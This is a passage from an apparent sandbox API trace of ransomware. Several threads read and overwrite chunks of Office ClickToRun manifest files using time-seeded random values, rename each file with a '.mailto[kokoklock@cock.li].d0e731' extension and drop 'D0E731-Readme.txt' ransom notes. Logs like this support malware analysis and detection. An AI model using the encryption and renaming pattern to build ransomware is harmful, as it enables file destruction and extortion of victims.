Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0074.314] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341da40) returned 1 [0074.314] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 0 [0074.315] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434828 [0074.315] wcscpy (in: _Dest=0x3434828, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0074.315] wcscat (in: _Dest=0x3434828, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0074.315] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0074.315] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434828) returned 1 [0074.315] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34223a8) returned 1 [0074.315] RtlExitUserThread (Status=0x1) Thread: id = 630 os_tid = 0x798 [0074.316] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml")) returned 0x20 [0074.316] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 1 [0074.316] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x944 [0074.317] GetFileSizeEx (in: hFile=0x944, lpFileSize=0x188bf7e4 | out: lpFileSize=0x188bf7e4*=731118) returned 1 [0074.317] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0xb27ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.317] ReadFile (in: hFile=0x944, lpBuffer=0x188bf7b8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x188bf7b4, lpOverlapped=0x0 | out: lpBuffer=0x188bf7b8*, lpNumberOfBytesRead=0x188bf7b4*=0x4, lpOverlapped=0x0) returned 1 [0074.318] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.318] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e1e0 [0074.318] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e3e8 [0074.318] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e460 [0074.318] NtQuerySystemTime (in: CurrentTime=0x188bf790 | out: CurrentTime=0x188bf790*=132121176322065385) returned 0x0 [0074.318] RtlRandom (in: Seed=0x188bf79c | out: Seed=0x188bf79c) returned 0x75d7ec66 [0074.318] RtlRandom (in: Seed=0x188bf79c | out: Seed=0x188bf79c) returned 0xbdcbd44f [0074.318] RtlRandom (in: Seed=0x188bf79c | out: Seed=0x188bf79c) returned 0x48a5445c [0074.318] RtlRandom (in: Seed=0x188bf79c | out: Seed=0x188bf79c) returned 0x5032316d [0074.319] RtlRandom (in: Seed=0x188bf79c | out: Seed=0x188bf79c) returned 0x3e80a2b8 [0074.319] RtlRandom (in: Seed=0x188bf79c | out: Seed=0x188bf79c) returned 0x65bd42e7 [0074.319] RtlRandom (in: Seed=0x188bf79c | out: Seed=0x188bf79c) returned 0x7b92cab4 [0074.319] RtlRandom (in: Seed=0x188bf79c | out: Seed=0x188bf79c) returned 0x1b7ece7 [0074.319] RtlRandom (in: Seed=0x188bf79c | out: Seed=0x188bf79c) returned 0x805cdefb [0074.319] RtlRandom (in: Seed=0x188bf79c | out: Seed=0x188bf79c) returned 0x74008514 [0074.319] RtlRandom (in: Seed=0x188bf79c | out: Seed=0x188bf79c) returned 0xc8956f0a [0074.319] RtlRandom (in: Seed=0x188bf79c | out: Seed=0x188bf79c) returned 0x567b9f9a [0074.319] RtlRandom (in: Seed=0x188bf79c | out: Seed=0x188bf79c) returned 0x6d760058 [0074.319] RtlRandom (in: Seed=0x188bf79c | out: Seed=0x188bf79c) returned 0xc037be34 [0074.319] RtlRandom (in: Seed=0x188bf79c | out: Seed=0x188bf79c) returned 0x1237463e [0074.319] RtlRandom (in: Seed=0x188bf79c | out: Seed=0x188bf79c) returned 0xb34f7dc5 [0074.319] RtlRandom (in: Seed=0x188bf79c | out: Seed=0x188bf79c) returned 0xb449e2a6 [0074.319] RtlRandom (in: Seed=0x188bf79c | out: Seed=0x188bf79c) returned 0x9e52d21a [0074.319] RtlRandom (in: Seed=0x188bf79c | out: Seed=0x188bf79c) returned 0xb95f6b83 [0074.319] RtlRandom (in: Seed=0x188bf79c | out: Seed=0x188bf79c) returned 0xf2940f70 [0074.319] RtlRandom (in: Seed=0x188bf79c | out: Seed=0x188bf79c) returned 0xc60fedf7 [0074.319] RtlRandom (in: Seed=0x188bf79c | out: Seed=0x188bf79c) returned 0x77225e35 [0074.319] RtlRandom (in: Seed=0x188bf79c | out: Seed=0x188bf79c) returned 0xaa1862dc [0074.319] RtlRandom (in: Seed=0x188bf79c | out: Seed=0x188bf79c) returned 0x64709347 [0074.319] RtlRandom (in: Seed=0x188bf79c | out: Seed=0x188bf79c) returned 0x35d79f1a [0074.319] RtlRandom (in: Seed=0x188bf79c | out: Seed=0x188bf79c) returned 0x521eb903 [0074.319] RtlRandom (in: Seed=0x188bf79c | out: Seed=0x188bf79c) returned 0xa2ee0ac [0074.319] RtlRandom (in: Seed=0x188bf79c | out: Seed=0x188bf79c) returned 0x33804705 [0074.319] RtlRandom (in: Seed=0x188bf79c | out: Seed=0x188bf79c) returned 0x85903be9 [0074.319] RtlRandom (in: Seed=0x188bf79c | out: Seed=0x188bf79c) returned 0x6d1df236 [0074.319] RtlRandom (in: Seed=0x188bf79c | out: Seed=0x188bf79c) returned 0x9ab1399e [0074.319] RtlRandom (in: Seed=0x188bf79c | out: Seed=0x188bf79c) returned 0x79f2c316 [0074.331] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.331] ReadFile (in: hFile=0x944, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x188bf750, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x188bf750*=0x4096, lpOverlapped=0x0) returned 1 [0074.333] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.333] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0074.333] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0074.333] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e1e0 [0074.333] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e1e0) returned 1 [0074.333] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0074.333] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e1e0 [0074.333] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e488 [0074.333] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e488) returned 1 [0074.333] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.333] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0074.334] WriteFile (in: hFile=0x944, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x188bf750, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x188bf750*=0x4096, lpOverlapped=0x0) returned 1 [0074.334] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.334] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x5cd7a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.334] ReadFile (in: hFile=0x944, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x188bf750, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x188bf750*=0x4096, lpOverlapped=0x0) returned 1 [0074.335] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x5cd7a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.335] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd7d8 [0074.335] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0074.335] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e258 [0074.335] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e258) returned 1 [0074.336] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0074.336] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e488 [0074.336] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e258 [0074.336] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e258) returned 1 [0074.336] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.336] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd7d8) returned 1 [0074.336] WriteFile (in: hFile=0x944, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x188bf750, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x188bf750*=0x4096, lpOverlapped=0x0) returned 1 [0074.336] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.336] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0xae758, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.336] ReadFile (in: hFile=0x944, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x188bf750, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x188bf750*=0x4096, lpOverlapped=0x0) returned 1 [0074.339] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0xae758, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.341] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fdbc8 [0074.341] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0074.341] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e4b0 [0074.341] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e4b0) returned 1 [0074.341] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0074.341] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e258 [0074.341] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e4b0 [0074.341] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e4b0) returned 1 [0074.341] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.342] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fdbc8) returned 1 [0074.342] WriteFile (in: hFile=0x944, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x188bf750, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x188bf750*=0x4096, lpOverlapped=0x0) returned 1 [0074.342] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.342] WriteFile (in: hFile=0x944, lpBuffer=0x341e1e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x188bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x341e1e0*, lpNumberOfBytesWritten=0x188bf7ac*=0x20, lpOverlapped=0x0) returned 1 [0074.342] WriteFile (in: hFile=0x944, lpBuffer=0x341e488*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x188bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x341e488*, lpNumberOfBytesWritten=0x188bf7ac*=0x20, lpOverlapped=0x0) returned 1 [0074.342] WriteFile (in: hFile=0x944, lpBuffer=0x341e258*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x188bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x341e258*, lpNumberOfBytesWritten=0x188bf7ac*=0x20, lpOverlapped=0x0) returned 1 [0074.342] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0074.342] WriteFile (in: hFile=0x944, lpBuffer=0x341e230*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x188bf7b4, lpOverlapped=0x0 | out: lpBuffer=0x341e230*, lpNumberOfBytesWritten=0x188bf7b4*=0x8, lpOverlapped=0x0) returned 1 [0074.342] WriteFile (in: hFile=0x944, lpBuffer=0x188bf7cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x188bf7b4, lpOverlapped=0x0 | out: lpBuffer=0x188bf7cc*, lpNumberOfBytesWritten=0x188bf7b4*=0x4, lpOverlapped=0x0) returned 1 [0074.342] WriteFile (in: hFile=0x944, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x188bf7b4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x188bf7b4*=0x4, lpOverlapped=0x0) returned 1 [0074.343] WriteFile (in: hFile=0x944, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x188bf7b4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x188bf7b4*=0x6c, lpOverlapped=0x0) returned 1 [0074.343] WriteFile (in: hFile=0x944, lpBuffer=0x341e3e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x188bf7b4, lpOverlapped=0x0 | out: lpBuffer=0x341e3e8*, lpNumberOfBytesWritten=0x188bf7b4*=0x20, lpOverlapped=0x0) returned 1 [0074.343] WriteFile (in: hFile=0x944, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x188bf7b4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x188bf7b4*=0x4, lpOverlapped=0x0) returned 1 [0074.343] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e3e8) returned 1 [0074.343] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e208) returned 1 [0074.343] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e230) returned 1 [0074.343] CloseHandle (hObject=0x944) returned 1 [0074.343] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x146) returned 0x33e2008 [0074.343] wcscpy (in: _Dest=0x33e2008, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" [0074.343] wcscat (in: _Dest=0x33e2008, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0074.343] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.344] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0074.344] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2008) returned 1 [0074.344] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 0 [0074.344] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3435458 [0074.344] wcscpy (in: _Dest=0x3435458, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0074.344] wcscat (in: _Dest=0x3435458, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0074.344] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0074.344] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3435458) returned 1 [0074.344] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34224a8) returned 1 [0074.345] RtlExitUserThread (Status=0x1) Thread: id = 631 os_tid = 0x109c [0074.335] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml")) returned 0x20 [0074.338] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 1 [0074.338] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x960 [0074.338] GetFileSizeEx (in: hFile=0x960, lpFileSize=0x1893fbc4 | out: lpFileSize=0x1893fbc4*=174846) returned 1 [0074.338] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x2aafa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.338] ReadFile (in: hFile=0x960, lpBuffer=0x1893fb98, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1893fb94, lpOverlapped=0x0 | out: lpBuffer=0x1893fb98*, lpNumberOfBytesRead=0x1893fb94*=0x4, lpOverlapped=0x0) returned 1 [0074.345] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.345] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e208 [0074.345] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e3e8 [0074.345] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e4b0 [0074.345] NtQuerySystemTime (in: CurrentTime=0x1893fb70 | out: CurrentTime=0x1893fb70*=132121176322377561) returned 0x0 [0074.346] RtlRandom (in: Seed=0x1893fb7c | out: Seed=0x1893fb7c) returned 0xc9998ed2 [0074.346] RtlRandom (in: Seed=0x1893fb7c | out: Seed=0x1893fb7c) returned 0x5e9a1a7b [0074.346] RtlRandom (in: Seed=0x1893fb7c | out: Seed=0x1893fb7c) returned 0x79100d1 [0074.346] RtlRandom (in: Seed=0x1893fb7c | out: Seed=0x1893fb7c) returned 0x340d21d8 [0074.346] RtlRandom (in: Seed=0x1893fb7c | out: Seed=0x1893fb7c) returned 0xb17ed59 [0074.346] RtlRandom (in: Seed=0x1893fb7c | out: Seed=0x1893fb7c) returned 0x18ce9638 [0074.346] RtlRandom (in: Seed=0x1893fb7c | out: Seed=0x1893fb7c) returned 0x9ee1c675 [0074.346] RtlRandom (in: Seed=0x1893fb7c | out: Seed=0x1893fb7c) returned 0x5c343e4b [0074.346] RtlRandom (in: Seed=0x1893fb7c | out: Seed=0x1893fb7c) returned 0x203c89a3 [0074.346] RtlRandom (in: Seed=0x1893fb7c | out: Seed=0x1893fb7c) returned 0xa7743b64 [0074.346] RtlRandom (in: Seed=0x1893fb7c | out: Seed=0x1893fb7c) returned 0x3e243705 [0074.346] RtlRandom (in: Seed=0x1893fb7c | out: Seed=0x1893fb7c) returned 0x3d3bc689 [0074.346] RtlRandom (in: Seed=0x1893fb7c | out: Seed=0x1893fb7c) returned 0x87f3741f [0074.346] RtlRandom (in: Seed=0x1893fb7c | out: Seed=0x1893fb7c) returned 0xd72a8c78 [0074.346] RtlRandom (in: Seed=0x1893fb7c | out: Seed=0x1893fb7c) returned 0xdad7d0bd [0074.346] RtlRandom (in: Seed=0x1893fb7c | out: Seed=0x1893fb7c) returned 0x2269a474 [0074.346] RtlRandom (in: Seed=0x1893fb7c | out: Seed=0x1893fb7c) returned 0xdc1f2e68 [0074.346] RtlRandom (in: Seed=0x1893fb7c | out: Seed=0x1893fb7c) returned 0x9c20620c [0074.346] RtlRandom (in: Seed=0x1893fb7c | out: Seed=0x1893fb7c) returned 0x20d4b035 [0074.346] RtlRandom (in: Seed=0x1893fb7c | out: Seed=0x1893fb7c) returned 0xcab7f618 [0074.346] RtlRandom (in: Seed=0x1893fb7c | out: Seed=0x1893fb7c) returned 0x20a15e9c [0074.346] RtlRandom (in: Seed=0x1893fb7c | out: Seed=0x1893fb7c) returned 0xf49ce6eb [0074.346] RtlRandom (in: Seed=0x1893fb7c | out: Seed=0x1893fb7c) returned 0xe410dd08 [0074.346] RtlRandom (in: Seed=0x1893fb7c | out: Seed=0x1893fb7c) returned 0xf114aed5 [0074.346] RtlRandom (in: Seed=0x1893fb7c | out: Seed=0x1893fb7c) returned 0xa86c929d [0074.346] RtlRandom (in: Seed=0x1893fb7c | out: Seed=0x1893fb7c) returned 0x13124026 [0074.346] RtlRandom (in: Seed=0x1893fb7c | out: Seed=0x1893fb7c) returned 0x51bcd944 [0074.346] RtlRandom (in: Seed=0x1893fb7c | out: Seed=0x1893fb7c) returned 0xbbaed651 [0074.346] RtlRandom (in: Seed=0x1893fb7c | out: Seed=0x1893fb7c) returned 0x307dc82b [0074.346] RtlRandom (in: Seed=0x1893fb7c | out: Seed=0x1893fb7c) returned 0x6e0fc988 [0074.346] RtlRandom (in: Seed=0x1893fb7c | out: Seed=0x1893fb7c) returned 0x44a4865d [0074.346] RtlRandom (in: Seed=0x1893fb7c | out: Seed=0x1893fb7c) returned 0x7c6b9ee8 [0074.357] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.358] ReadFile (in: hFile=0x960, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1893fb30, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x1893fb30*=0x4096, lpOverlapped=0x0) returned 1 [0074.358] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.359] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0074.359] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0074.359] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e208 [0074.359] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e208) returned 1 [0074.359] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0074.359] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e208 [0074.359] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e500 [0074.359] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e500) returned 1 [0074.359] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.359] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0074.359] WriteFile (in: hFile=0x960, 